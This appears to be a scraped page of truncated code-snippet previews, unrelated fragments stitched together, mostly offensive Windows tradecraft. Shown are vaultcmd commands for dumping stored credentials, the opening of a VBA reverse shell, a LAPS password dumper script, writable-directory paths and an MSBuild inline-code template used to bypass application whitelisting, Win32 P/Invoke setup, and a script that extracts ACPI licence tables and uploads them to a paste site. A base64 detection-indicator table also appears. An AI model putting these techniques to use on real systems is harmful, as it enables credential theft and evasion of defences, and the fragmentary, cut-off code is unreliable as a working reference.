Works only when running as same user whose credentials we are dumping
C:\Users\Alex\Desktop> vaultcmd /list
C:\Users\Alex\Desktop> vaultcmd /listcreds:"<vault-name>" /all
| #!/bin/bash | |
| # On the 'donor' machine, boot a live linux ISO (Ubuntu or whatever) | |
| # and connect it to the internet. Then run these commands, which will | |
| # dump the contents to sprunge.us so you can retrieve them easily. Or | |
| # copy them manually, whatever. | |
| mkdir -p /tmp/MSDM | |
| cd /tmp/MSDM | |
| for f in SLIC MSDM; do |
| ' ******************************************************************************************************** | |
| ' | |
| ' VBA reverse shell that uses Win32 API calls. Most of the code was copied from the following resources: | |
| ' | |
| ' * https://stackoverflow.com/questions/8670391 | |
| ' * https://stackoverflow.com/questions/43197814 | |
| ' * https://renenyffenegger.ch/notes/development/languages/VBA/Win-API/examples/ | |
| ' | |
| ' The code demonstrates more complex usage example for calling Win32 API from VBA and should be used | |
| ' for educational purpose only. During development I was mainly interested whether the WSAData or the |
| c:\windows\system32\microsoft\crypto\rsa\machinekeys | |
| c:\windows\system32\tasks_migrated\microsoft\windows\pla\system | |
| c:\windows\syswow64\tasks\microsoft\windows\pla\system | |
| c:\windows\debug\wia | |
| c:\windows\system32\tasks | |
| c:\windows\syswow64\tasks | |
| c:\windows\tasks | |
| c:\windows\registration\crmlog | |
| c:\windows\system32\com\dmp | |
| c:\windows\system32\fxstmp |
| #!/usr/bin/env python3 | |
| from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE | |
| import argparse | |
| parser = argparse.ArgumentParser(description='Dump LAPS Passwords') | |
| parser.add_argument('-u','--username', help='username for LDAP', required=True) | |
| parser.add_argument('-p','--password', help='password for LDAP (or LM:NT hash)',required=True) | |
| parser.add_argument('-l','--ldapserver', help='LDAP server (or domain)', required=False) | |
| parser.add_argument('-d','--domain', help='Domain', required=True) | |
| parser.add_argument('-t', '--target', help="Target Domain", required=False) |
| Sub ssh() | |
| Set WSH = CreateObject("WScript.Shell") | |
| host = InputBox("Host/IP") | |
| user = InputBox("Username") | |
| remote_system_commands = "ls" | |
| cmd = "ssh " & user & "@" & host & " " & remote_system_commands | |
| Debug.Print "Command: " & cmd | |
| Set wshOut = WSH.Exec(cmd) | |
| $Win32 = @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class Win32 { | |
| [DllImport("kernel32")] | |
| public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
| [DllImport("kernel32")] |
| Base64 Code | Mnemonic Aid | Decoded* | Description |
|---|---|---|---|
JAB |
🗣 Jabber | $. |
Variable declaration (UTF-16), e.g. JABlAG4AdgA for $env: |
TVq |
📺 Television | MZ |
MZ header |
SUVY |
🚙 SUV | IEX |
PowerShell Invoke Expression |
SQBFAF |
🐣 Squab favorite | I.E. |
PowerShell Invoke Expression (UTF-16) |
SQBuAH |
🐣 Squab uahhh | I.n. |
PowerShell Invoke string (UTF-16) e.g. Invoke-Mimikatz |
PAA |
💪 "Pah!" | <. |
Often used by Emotet (UTF-16) |
| <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
| <Target Name="DemoClass"> | |
| <ClassExample /> | |
| </Target> | |
| <UsingTask | |
| TaskName="ClassExample" | |
| TaskFactory="CodeTaskFactory" | |
| AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
| <Task> | |
| <Code Type="Class" Language="cs"> |
| <domain type='kvm' xmlns:qemu='http://libvirt.org/schemas/domain/qemu/1.0'> | |
| <!-- ... --> | |
| <qemu:commandline> | |
| <qemu:arg value='-acpitable'/> | |
| <qemu:arg value='file=/some/path/slic.bin'/> | |
| <qemu:arg value='-acpitable'/> | |
| <qemu:arg value='file=/some/path/msdm.bin'/> | |
| <qemu:arg value='-smbios'/> | |
| <qemu:arg value='file=/some/path/smbios_type_0.bin'/> | |
| <qemu:arg value='-smbios'/> |